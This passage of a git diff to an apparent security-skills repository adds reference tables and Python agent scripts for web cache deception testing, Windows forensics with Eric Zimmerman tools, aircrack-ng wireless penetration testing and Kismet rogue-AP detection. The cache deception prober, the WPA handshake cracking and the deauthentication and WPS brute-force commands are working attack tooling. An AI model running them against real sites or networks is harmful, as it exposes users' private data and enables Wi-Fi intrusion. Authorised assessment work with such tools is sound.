Suite +| Field | Description | +|-------|-------------| +| `issues[].name` | Issue name | +| `issues[].severity` | high, medium, low, information | +| `issues[].url` | Affected endpoint | +| `issues[].parameter` | Vulnerable parameter | + +### Nikto JSON +| Field | Description | +|-------|-------------| +| `vulnerabilities[].id` | Nikto ID | +| `vulnerabilities[].OSVDB` | OSVDB reference | +| `vulnerabilities[].url` | Affected path | + +## Priority Scoring Formula + +``` +score = cvss * 10 + + 5 if parameter identified + + 10 if injection-type vulnerability + + 8 if authentication-related +``` + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Ingest scanner output | +| `datetime` | stdlib | SLA deadline calculation | +| `collections` | stdlib | Severity distribution | + +## References + +- CVSS v3.1: https://www.first.org/cvss/specification-document +- OWASP Risk Rating: https://owasp.org/www-community/OWASP_Risk_Rating_Methodology +- CWE Database: https://cwe.mitre.org/ diff --git a/skills/performing-web-cache-deception-attack/LICENSE b/skills/performing-web-cache-deception-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-web-cache-deception-attack/LICENSE +++ b/skills/performing-web-cache-deception-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-web-cache-deception-attack/references/api-reference.md b/skills/performing-web-cache-deception-attack/references/api-reference.md new file mode 100644 index 00000000..b4c484fe --- /dev/null +++ b/skills/performing-web-cache-deception-attack/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Web Cache Deception Attack + +## Attack Technique + +| Step | Action | Description | +|------|--------|-------------| +| 1 | Identify authenticated endpoint | Find URL returning personalized content | +| 2 | Append static extension | `/account/nonexistent.css` | +| 3 | CDN caches response | Proxy treats as static file | +| 4 | Access cached URL unauthenticated | Receive victim's personalized data | + +## Static Extensions to Test + +| Extension | Type | Cache Likelihood | +|-----------|------|-----------------| +| `.css` | Stylesheet | Very High | +| `.js` | JavaScript | Very High | +| `.png`, `.jpg`, `.gif` | Image | High | +| `.woff`, `.woff2` | Font | High | +| `.pdf` | Document | Medium | +| `.ico` | Icon | Medium | + +## Cache Detection Headers + +| Header | Cached Indicators | +|--------|------------------| +| `X-Cache` | HIT | +| `CF-Cache-Status` | HIT (Cloudflare) | +| `X-Cache-Status` | HIT (Nginx proxy_cache) | +| `Age` | Non-zero value | +| `X-Varnish` | Two IDs = cache hit | + +## Path Delimiter Confusion + +| Delimiter | URL Example | +|-----------|-------------| +| `;` | `/account;test.css` | +| `%23` | `/account%23test.css` | +| `%3f` | `/account%3ftest.css` | + +## Mitigation + +| Control | Description | +|---------|-------------| +| `Cache-Control: no-store` | Prevent caching of authenticated pages | +| Validate file extension | Only cache actual static files | +| `Vary: Cookie` | Separate cache by session | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP requests with/without auth | + +## References + +- PortSwigger Web Cache Deception: https://portswigger.net/web-security/web-cache-deception +- Original Research (Omer Gil): https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html diff --git a/skills/performing-web-cache-deception-attack/scripts/agent.py b/skills/performing-web-cache-deception-attack/scripts/agent.py new file mode 100644 index 00000000..4fd0834d --- /dev/null +++ b/skills/performing-web-cache-deception-attack/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Agent for testing web cache deception vulnerabilities. + +Appends static file extensions to authenticated URLs to test +whether CDN/proxy caches serve personalized content to other users. +""" + +import requests +import json +import sys +from datetime import datetime + + +CACHE_EXTENSIONS = [".css", ".js", ".png", ".jpg", ".gif", ".ico", + ".svg", ".woff", ".woff2", ".pdf", ".txt"] + +CACHE_HEADERS = ["X-Cache", "X-Cache-Status", "CF-Cache-Status", + "Age", "X-Varnish", "X-Proxy-Cache", "X-CDN-Cache"] + + +class WebCacheDeceptionAgent: + """Tests for web cache deception vulnerabilities.""" + + def __init__(self, target_url, auth_cookie=None, auth_header=None): + self.target_url = target_url.rstrip("/") + self.session = requests.Session() + if auth_cookie: + self.session.cookies.set(*auth_cookie.split("=", 1)) + if auth_header: + self.session.headers["Authorization"] = auth_header + self.findings = [] + + def check_cache_headers(self, response): + """Extract cache-related headers from response.""" + cache_info = {} + for header in CACHE_HEADERS: + val = response.headers.get(header) + if val: + cache_info[header] = val + cache_info["Cache-Control"] = response.headers.get("Cache-Control", "") + return cache_info + + def test_path_confusion(self, authenticated_path="/account"): + """Test cache deception via path confusion with static extensions.""" + url = f"{self.target_url}{authenticated_path}" + results = [] + + baseline = self.session.get(url, timeout=10, allow_redirects=False) + baseline_len = len(baseline.text) + baseline_has_pii = self._check_pii(baseline.text) + + for ext in CACHE_EXTENSIONS: + test_url = f"{url}/nonexistent{ext}" + try: + resp = self.session.get(test_url, timeout=10, allow_redirects=False) + cache_info = self.check_cache_headers(resp) + cached = any(v.lower() in ("hit", "true", "1") + for v in cache_info.values() if isinstance(v, str)) + content_match = abs(len(resp.text) - baseline_len) < 100 + + if content_match and resp.status_code == 200: + unauth = requests.get(test_url, timeout=10) + served_to_unauth = abs(len(unauth.text) - baseline_len) < 100 + + if served_to_unauth: + self.findings.append({ + "type": "Web Cache Deception", + "severity": "Critical", + "url": test_url, + "extension": ext, + "cached_pii": baseline_has_pii, + }) + + results.append({ + "extension": ext, "url": test_url, + "status": resp.status_code, + "content_match": content_match, + "cache_headers": cache_info, + "cached": cached, + }) + except requests.RequestException: + continue + return results + + def test_delimiter_confusion(self, authenticated_path="/account"): + """Test path delimiter confusion (semicolon, hash, question mark).""" + delimiters = [";", "%23", "%3f", "%3b", "\r\n"] + results = [] + for delim in delimiters: + for ext in [".css", ".js", ".png"]: + test_url = f"{self.target_url}{authenticated_path}{delim}test{ext}" + try: + resp = self.session.get(test_url, timeout=10) + cache_info = self.check_cache_headers(resp) + results.append({ + "delimiter": delim, "extension": ext, + "status": resp.status_code, + "cache_headers": cache_info, + }) + except requests.RequestException: + continue + return results + + def _check_pii(self, text): + """Check if response contains PII indicators.""" + pii_indicators = ["email", "username", "name", "address", "phone", + "ssn", "credit", "account", "@"] + return any(indicator in text.lower() for indicator in pii_indicators) + + def generate_report(self): + report = { + "target": self.target_url, + "report_date": datetime.utcnow().isoformat(), + "vulnerable": len(self.findings) > 0, + "findings_count": len(self.findings), + "findings": self.findings, + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080" + path = sys.argv[2] if len(sys.argv) > 2 else "/account" + cookie = sys.argv[3] if len(sys.argv) > 3 else None + agent = WebCacheDeceptionAgent(url, auth_cookie=cookie) + agent.test_path_confusion(path) + agent.test_delimiter_confusion(path) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-web-cache-poisoning-attack/LICENSE b/skills/performing-web-cache-poisoning-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-web-cache-poisoning-attack/LICENSE +++ b/skills/performing-web-cache-poisoning-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-wifi-password-cracking-with-aircrack/LICENSE b/skills/performing-wifi-password-cracking-with-aircrack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-wifi-password-cracking-with-aircrack/LICENSE +++ b/skills/performing-wifi-password-cracking-with-aircrack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE +++ b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md new file mode 100644 index 00000000..59e56956 --- /dev/null +++ b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Windows Artifact Analysis with Eric Zimmerman Tools + +## EZ Tools Suite + +| Tool | Artifact | Description | +|------|----------|-------------| +| `MFTECmd.exe` | $MFT | Parse Master File Table | +| `PECmd.exe` | Prefetch | Parse prefetch files for execution history | +| `LECmd.exe` | LNK | Parse shortcut files | +| `JLECmd.exe` | Jump Lists | Parse automatic/custom jump lists | +| `SBECmd.exe` | ShellBags | Parse folder access history from registry | +| `AmcacheParser.exe` | Amcache | Parse application execution evidence | +| `AppCompatCacheParser.exe` | Shimcache | Parse application compatibility cache | +| `EvtxECmd.exe` | EVTX | Parse Windows event logs | +| `RECmd.exe` | Registry | Parse registry hives | + +## Common CLI Flags + +| Flag | Description | +|------|-------------| +| `-f ` | Input file path | +| `-d ` | Input directory | +| `--csv ` | Output directory for CSV | +| `--csvf ` | CSV output filename | +| `--json ` | Output directory for JSON | +| `--body ` | Output bodyfile for timeline | + +## Key Artifacts and Locations + +| Artifact | Path | Evidence | +|----------|------|----------| +| $MFT | `C:\$MFT` | File creation/modification/access | +| Prefetch | `C:\Windows\Prefetch\` | Program execution with timestamps | +| LNK Files | `%APPDATA%\Microsoft\Windows\Recent\` | Recently accessed files | +| Jump Lists | `%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\` | Per-app recent files | +| ShellBags | NTUSER.DAT, UsrClass.dat | Folder browsing history | +| Amcache | `C:\Windows\AppCompat\Programs\Amcache.hve` | Application execution | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute EZ tools | +| `csv` | stdlib | Parse CSV output | +| `json` | stdlib | Report generation | + +## References + +- Eric Zimmerman Tools: https://ericzimmerman.github.io/ +- SANS Windows Forensic Analysis Poster: https://www.sans.org/posters/windows-forensic-analysis/ +- EZ Tools GitHub: https://github.com/EricZimmerman diff --git a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/scripts/agent.py b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/scripts/agent.py new file mode 100644 index 00000000..cf98c706 --- /dev/null +++ b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for Windows artifact analysis with Eric Zimmerman tools. + +Runs EZ tools (MFTECmd, PECmd, LECmd, JLECmd, ShellBags Explorer CLI) +via subprocess, parses CSV output, and builds a forensic timeline +from Windows filesystem and registry artifacts. +""" + +import subprocess +import json +import sys +import csv +import io +from datetime import datetime +from pathlib import Path + + +class EZToolsAgent: + """Analyzes Windows forensic artifacts using Eric Zimmerman tools.""" + + def __init__(self, output_dir="./ez_analysis"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.timeline = [] + + def _run_tool(self, tool, args, timeout=300): + cmd = [tool] + args + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return {"return_code": result.returncode, + "stdout_lines": len(result.stdout.splitlines()), + "stderr": result.stderr[:300] if result.stderr else ""} + except FileNotFoundError: + return {"error": f"{tool} not found. Download from https://ericzimmerman.github.io/"} + except subprocess.TimeoutExpired: + return {"error": f"{tool} timed out"} + + def parse_mft(self, mft_path): + """Parse $MFT using MFTECmd and extract file creation/modification.""" + csv_out = self.output_dir / "mft_output.csv" + result = self._run_tool("MFTECmd.exe", ["-f", mft_path, + "--csv", str(self.output_dir), + "--csvf", "mft_output.csv"]) + if "error" in result: + return result + return self._parse_csv(csv_out, "MFT", + time_cols=["Created0x10", "LastModified0x10"]) + + def parse_prefetch(self, prefetch_dir): + """Parse Prefetch files using PECmd for program execution evidence.""" + csv_out = self.output_dir / "prefetch_output.csv" + result = self._run_tool("PECmd.exe", ["-d", prefetch_dir, + "--csv", str(self.output_dir), + "--csvf", "prefetch_output.csv"]) + if "error" in result: + return result + return self._parse_csv(csv_out, "Prefetch", + time_cols=["LastRun", "PreviousRun0"]) + + def parse_lnk_files(self, lnk_dir): + """Parse LNK shortcut files using LECmd.""" + csv_out = self.output_dir / "lnk_output.csv" + result = self._run_tool("LECmd.exe", ["-d", lnk_dir, + "--csv", str(self.output_dir), + "--csvf", "lnk_output.csv"]) + if "error" in result: + return result + return self._parse_csv(csv_out, "LNK", + time_cols=["TargetCreated", "TargetModified"]) + + def parse_jump_lists(self, jl_dir): + """Parse Jump Lists using JLECmd for recent file access.""" + csv_out = self.output_dir / "jumplist_output.csv" + result = self._run_tool("JLECmd.exe", ["-d", jl_dir, + "--csv", str(self.output_dir), + "--csvf", "jumplist_output.csv"]) + if "error" in result: + return result + return self._parse_csv(csv_out, "JumpList", + time_cols=["TargetCreated", "TargetModified"]) + + def parse_shellbags(self, registry_hive): + """Parse ShellBags from NTUSER.DAT/UsrClass.dat.""" + csv_out = self.output_dir / "shellbags_output.csv" + result = self._run_tool("SBECmd.exe", ["-d", registry_hive, + "--csv", str(self.output_dir), + "--csvf", "shellbags_output.csv"]) + if "error" in result: + return result + return self._parse_csv(csv_out, "ShellBag", + time_cols=["LastWriteTime", "FirstExplored"]) + + def _parse_csv(self, csv_path, artifact_type, time_cols=None): + """Parse EZ tool CSV output into timeline entries.""" + if not csv_path.exists(): + return {"error": f"CSV not found: {csv_path}"} + entries = [] + try: + with open(csv_path, "r", encoding="utf-8-sig") as f: + reader = csv.DictReader(f) + for row in reader: + entry = {"artifact_type": artifact_type} + for key, val in row.items(): + if val: + entry[key] = val + if time_cols: + for tc in time_cols: + ts = row.get(tc, "") + if ts: + entry["timestamp"] = ts + self.timeline.append({ + "timestamp": ts, + "artifact": artifact_type, + "source": csv_path.name, + "details": {k: v for k, v in row.items() + if v and k != tc} + }) + break + entries.append(entry) + except (csv.Error, UnicodeDecodeError) as exc: + return {"error": str(exc)} + return {"artifact": artifact_type, "entries": len(entries)} + + def build_timeline(self): + """Sort all collected entries into a unified forensic timeline.""" + self.timeline.sort(key=lambda x: x.get("timestamp", "")) + return self.timeline + + def generate_report(self): + self.build_timeline() + report = { + "report_date": datetime.utcnow().isoformat(), + "total_timeline_entries": len(self.timeline), + "timeline_sample": self.timeline[:50], + } + report_path = self.output_dir / "ez_tools_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py ") + print(" artifact_type: mft|prefetch|lnk|jumplist|shellbag") + sys.exit(1) + agent = EZToolsAgent() + atype = sys.argv[1] + path = sys.argv[2] + dispatch = {"mft": agent.parse_mft, "prefetch": agent.parse_prefetch, + "lnk": agent.parse_lnk_files, "jumplist": agent.parse_jump_lists, + "shellbag": agent.parse_shellbags} + fn = dispatch.get(atype) + if fn: + fn(path) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-wireless-network-penetration-test/LICENSE b/skills/performing-wireless-network-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-wireless-network-penetration-test/LICENSE +++ b/skills/performing-wireless-network-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-wireless-network-penetration-test/references/api-reference.md b/skills/performing-wireless-network-penetration-test/references/api-reference.md new file mode 100644 index 00000000..bf6f067d --- /dev/null +++ b/skills/performing-wireless-network-penetration-test/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Wireless Network Penetration Testing + +## Aircrack-ng Suite + +| Tool | Description | +|------|-------------| +| `airmon-ng start ` | Enable monitor mode | +| `airodump-ng ` | Scan for wireless networks | +| `airodump-ng --bssid -c -w ` | Capture handshake | +| `aireplay-ng -0 5 -a ` | Deauthentication attack | +| `aircrack-ng -w ` | Crack WPA/WPA2 handshake | +| `wash -i ` | Detect WPS-enabled APs | +| `reaver -i -b ` | WPS PIN brute force | + +## airodump-ng CSV Fields + +| Column | Description | +|--------|-------------| +| BSSID | Access point MAC address | +| Channel | Operating channel | +| Encryption | WPA2, WPA, WEP, OPN | +| ESSID | Network name | +| Power | Signal strength (dBm) | + +## Encryption Risk Levels + +| Encryption | Risk | +|-----------|------| +| Open (OPN) | Critical - No encryption | +| WEP | Critical - Easily crackable | +| WPA (TKIP) | High - Deprecated | +| WPA2 (CCMP) | Medium - Dictionary attacks | +| WPA3 (SAE) | Low - Current standard | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute aircrack-ng tools | +| `re` | stdlib | Parse tool output | +| `csv` | stdlib | Parse airodump CSV | + +## References + +- Aircrack-ng: https://www.aircrack-ng.org/doku.php +- Reaver: https://github.com/t6x/reaver-wps-fork-t6x +- WiFi Pineapple: https://www.hak5.org/products/wifi-pineapple diff --git a/skills/performing-wireless-network-penetration-test/scripts/agent.py b/skills/performing-wireless-network-penetration-test/scripts/agent.py new file mode 100644 index 00000000..a17b7ce3 --- /dev/null +++ b/skills/performing-wireless-network-penetration-test/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Agent for wireless network penetration testing. + +Runs aircrack-ng suite tools via subprocess for WiFi reconnaissance, +WPA handshake capture, deauthentication testing, and generates +a wireless security assessment report. +""" + +import subprocess +import json +import sys +import re +from datetime import datetime +from pathlib import Path + + +class WirelessPentestAgent: + """Automates wireless network penetration testing with aircrack-ng.""" + + def __init__(self, interface, output_dir="./wireless_pentest"): + self.interface = interface + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.networks = [] + self.findings = [] + + def enable_monitor_mode(self): + """Put wireless interface into monitor mode using airmon-ng.""" + result = subprocess.run( + ["airmon-ng", "start", self.interface], + capture_output=True, text=True, timeout=30) + mon_iface = f"{self.interface}mon" + match = re.search(r"monitor mode.*enabled on (\w+)", result.stdout) + if match: + mon_iface = match.group(1) + self.interface = mon_iface + return {"monitor_interface": mon_iface, "status": result.returncode} + + def scan_networks(self, duration=30): + """Scan for wireless networks using airodump-ng.""" + csv_prefix = str(self.output_dir / "scan") + try: + subprocess.run( + ["airodump-ng", self.interface, "-w", csv_prefix, + "--output-format", "csv", "--write-interval", "1"], + capture_output=True, text=True, timeout=duration) + except subprocess.TimeoutExpired: + pass + + csv_file = Path(f"{csv_prefix}-01.csv") + if csv_file.exists(): + self.networks = self._parse_airodump_csv(csv_file) + return self.networks + + def _parse_airodump_csv(self, csv_path): + """Parse airodump-ng CSV output for network details.""" + networks = [] + try: + lines = csv_path.read_text(errors="ignore").splitlines() + in_ap_section = False + for line in lines: + if "BSSID" in line and "channel" in line.lower(): + in_ap_section = True + continue + if "Station MAC" in line: + break + if in_ap_section and line.strip(): + parts = [p.strip() for p in line.split(",")] + if len(parts) >= 14: + enc = parts[5].strip() + networks.append({ + "bssid": parts[0], "channel": parts[3], + "encryption": enc, "essid": parts[13], + "power": parts[8], + }) + if enc in ("OPN", "WEP", ""): + self.findings.append({ + "type": "Weak Encryption", + "severity": "Critical" if enc in ("OPN", "") else "High", + "bssid": parts[0], "essid": parts[13], + "encryption": enc or "Open", + }) + except (IndexError, UnicodeDecodeError): + pass + return networks + + def capture_handshake(self, bssid, channel, duration=60): + """Capture WPA/WPA2 4-way handshake.""" + cap_prefix = str(self.output_dir / "handshake") + try: + subprocess.run( + ["airodump-ng", self.interface, "--bssid", bssid, + "-c", str(channel), "-w", cap_prefix], + capture_output=True, timeout=duration) + except subprocess.TimeoutExpired: + pass + cap_file = Path(f"{cap_prefix}-01.cap") + return {"capture_file": str(cap_file), "exists": cap_file.exists()} + + def crack_handshake(self, cap_file, wordlist): + """Attempt to crack WPA handshake with aircrack-ng.""" + result = subprocess.run( + ["aircrack-ng", cap_file, "-w", wordlist], + capture_output=True, text=True, timeout=600) + if "KEY FOUND" in result.stdout: + match = re.search(r"KEY FOUND! \[ (.+?) \]", result.stdout) + key = match.group(1) if match else "unknown" + self.findings.append({"type": "WPA Key Cracked", + "severity": "Critical", "key": key}) + return {"cracked": True, "key": key} + return {"cracked": False} + + def test_wps(self, bssid): + """Test WPS PIN vulnerability using reaver/wash.""" + result = subprocess.run( + ["wash", "-i", self.interface], capture_output=True, + text=True, timeout=30) + wps_enabled = bssid in result.stdout + if wps_enabled: + self.findings.append({"type": "WPS Enabled", "severity": "High", + "bssid": bssid}) + return {"wps_enabled": wps_enabled} + + def generate_report(self): + report = { + "report_date": datetime.utcnow().isoformat(), + "interface": self.interface, + "networks_found": len(self.networks), + "findings": self.findings, + "networks": self.networks[:50], + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0" + agent = WirelessPentestAgent(iface) + agent.enable_monitor_mode() + agent.scan_networks(duration=30) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-wireless-security-assessment-with-kismet/LICENSE b/skills/performing-wireless-security-assessment-with-kismet/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-wireless-security-assessment-with-kismet/LICENSE +++ b/skills/performing-wireless-security-assessment-with-kismet/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md b/skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md new file mode 100644 index 00000000..0f6c8288 --- /dev/null +++ b/skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Wireless Security Assessment with Kismet + +## Kismet REST API Endpoints + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/session/check_login` | POST | Authenticate with username/password | +| `/system/status.json` | GET | Server status and statistics | +| `/devices/summary/devices.json` | POST | Query devices with field selection | +| `/devices/by-key/{key}/device.json` | GET | Get single device details | +| `/phy/phy80211/ssids/views/ssids.json` | GET | All detected SSIDs | +| `/alerts/all_alerts.json` | GET | All Kismet alerts | +| `/datasource/list_interfaces.json` | GET | Available capture interfaces | + +## Device Fields + +| Field | Description | +|-------|-------------| +| `kismet.device.base.macaddr` | Device MAC address | +| `kismet.device.base.name` | SSID or device name | +| `kismet.device.base.type` | `Wi-Fi AP`, `Wi-Fi Client`, etc. | +| `kismet.device.base.manuf` | Manufacturer (OUI lookup) | +| `kismet.device.base.channel` | Operating channel | +| `kismet.device.base.crypt` | Encryption type | +| `kismet.device.base.signal` | Signal strength data | +| `kismet.device.base.first_time` | First seen timestamp | +| `kismet.device.base.last_time` | Last seen timestamp | + +## Authentication + +| Method | Header/Cookie | +|--------|--------------| +| API Key | `Cookie: KISMET=` | +| Login | POST `/session/check_login` with JSON `{username, password}` | + +## Kismet CLI + +| Command | Description | +|---------|-------------| +| `kismet -c wlan0` | Start Kismet with capture source | +| `kismet --override wardrive` | Use wardrive configuration | +| `kismet_cap_linux_wifi` | Linux Wi-Fi capture helper | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Kismet REST API client | +| `json` | stdlib | Parse API responses | + +## References + +- Kismet Documentation: https://www.kismetwireless.net/docs/readme/intro/kismet/ +- Kismet REST API: https://www.kismetwireless.net/docs/api/rest_api/ +- Kismet GitHub: https://github.com/kismetwireless/kismet diff --git a/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py b/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py new file mode 100644 index 00000000..d2a40dac --- /dev/null +++ b/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Agent for wireless security assessment with Kismet. + +Interfaces with Kismet's REST API for device enumeration, +rogue AP detection, channel analysis, and wireless threat +monitoring during security assessments. +""" + +import requests +import json +import sys +from datetime import datetime +from collections import defaultdict + + +class KismetAssessmentAgent: + """Uses Kismet REST API for wireless security assessment.""" + + def __init__(self, kismet_url="http://localhost:2501", + api_key=None, username="kismet", password="kismet"): + self.base_url = kismet_url.rstrip("/") + self.session = requests.Session() + if api_key: + self.session.cookies.set("KISMET", api_key) + else: + self.session.post(f"{self.base_url}/session/check_login", + json={"username": username, "password": password}) + self.findings = [] + + def _get(self, endpoint, params=None): + resp = self.session.get(f"{self.base_url}{endpoint}", + params=params, timeout=30) + resp.raise_for_status() + return resp.json() + + def _post(self, endpoint, data=None): + resp = self.session.post(f"{self.base_url}{endpoint}", + json=data, timeout=30) + resp.raise_for_status() + return resp.json() + + def get_system_status(self): + """Get Kismet server status.""" + return self._get("/system/status.json") + + def get_all_devices(self, limit=500): + """Retrieve all detected wireless devices.""" + return self._post("/devices/summary/devices.json", + data={"fields": [ + "kismet.device.base.macaddr", + "kismet.device.base.name", + "kismet.device.base.type", + "kismet.device.base.manuf", + "kismet.device.base.channel", + "kismet.device.base.frequency", + "kismet.device.base.signal/kismet.common.signal.last_signal", + "kismet.device.base.crypt", + "kismet.device.base.first_time", + "kismet.device.base.last_time", + ], "limit": limit}) + + def get_access_points(self): + """Get all detected access points (802.11 AP type).""" + devices = self.get_all_devices(limit=1000) + aps = [d for d in devices if d.get("kismet.device.base.type") == "Wi-Fi AP"] + return aps + + def detect_rogue_aps(self, authorized_bssids=None, authorized_ssids=None): + """Identify rogue access points not in the authorized list.""" + authorized_bssids = set(b.upper() for b in (authorized_bssids or [])) + authorized_ssids = set(authorized_ssids or []) + aps = self.get_access_points() + rogues = [] + + for ap in aps: + bssid = ap.get("kismet.device.base.macaddr", "").upper() + ssid = ap.get("kismet.device.base.name", "") + + if authorized_bssids and bssid not in authorized_bssids: + rogues.append({"bssid": bssid, "ssid": ssid, "reason": "Unknown BSSID"}) + elif authorized_ssids and ssid in authorized_ssids and bssid not in authorized_bssids: + rogues.append({"bssid": bssid, "ssid": ssid, + "reason": "Known SSID from unauthorized BSSID (Evil Twin)"}) + + if rogues: + self.findings.extend([ + {"type": "Rogue AP Detected", "severity": "Critical", **r} + for r in rogues + ]) + return rogues + + def analyze_encryption(self): + """Analyze encryption types across detected APs.""" + aps = self.get_access_points() + encryption_stats = defaultdict(int) + weak_aps = [] + + for ap in aps: + crypt = ap.get("kismet.device.base.crypt", "unknown") + encryption_stats[crypt] += 1 + if crypt in ("None", "WEP", ""): + weak_aps.append({ + "bssid": ap.get("kismet.device.base.macaddr", ""), + "ssid": ap.get("kismet.device.base.name", ""), + "encryption": crypt or "Open", + }) + self.findings.append({ + "type": "Weak Encryption", "severity": "High", + "bssid": ap.get("kismet.device.base.macaddr", ""), + "encryption": crypt or "Open", + }) + return {"stats": dict(encryption_stats), "weak_aps": weak_aps} + + def analyze_channels(self): + """Analyze channel utilization.""" + aps = self.get_access_points() + channel_counts = defaultdict(int) + for ap in aps: + ch = ap.get("kismet.device.base.channel", "unknown") + channel_counts[str(ch)] += 1 + return dict(channel_counts) + + def generate_report(self): + enc = self.analyze_encryption() + channels = self.analyze_channels() + report = { + "report_date": datetime.utcnow().isoformat(), + "kismet_url": self.base_url, + "encryption_analysis": enc, + "channel_utilization": channels, + "findings": self.findings, + } + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:2501" + api_key = sys.argv[2] if len(sys.argv) > 2 else None + agent = KismetAssessmentAgent(url, api_key=api_key) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-yara-rule-development-for-detection/LICENSE b/skills/performing-yara-rule-development-for-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-yara-rule-development-for-detection/LICENSE +++ b/skills/performing-yara-rule-development-for-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-yara-rule-development-for-detection/references/api-reference.md b/skills/performing-yara-rule-development-for-detection/references/api-reference.md new file mode 100644 index 00000000..bfadc26f --- /dev/null +++ b/skills/performing-yara-rule-development-for-detection/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: YARA Rule Development for Detection + +## yara-python API + +| Method | Description | +|--------|-------------| +| `yara.compile(filepath=path)` | Compile rule from file | +| `yara.compile(source=string)` | Compile rule from string | +| `yara.compile(filepaths={ns: path})` | Compile with namespaces | +| `rules.match(filepath=path)` | Scan file against compiled rules | +| `rules.match(data=bytes)` | Scan bytes in memory | +| `rules.match(filepath, timeout=30)` | Scan with timeout | + +## Match Object Attributes + +| Attribute | Description | +|-----------|-------------| +| `match.rule` | Name of matching rule | +| `match.namespace` | Rule namespace | +| `match.tags` | Rule tags list | +| `match.meta` | Rule metadata dict | +| `match.strings` | List of (offset, identifier, data) | + +## YARA Rule Structure + +``` +rule RuleName : tag1 tag2 { + meta: + description = "..." + author = "..." + date = "2025-01-01" + hash 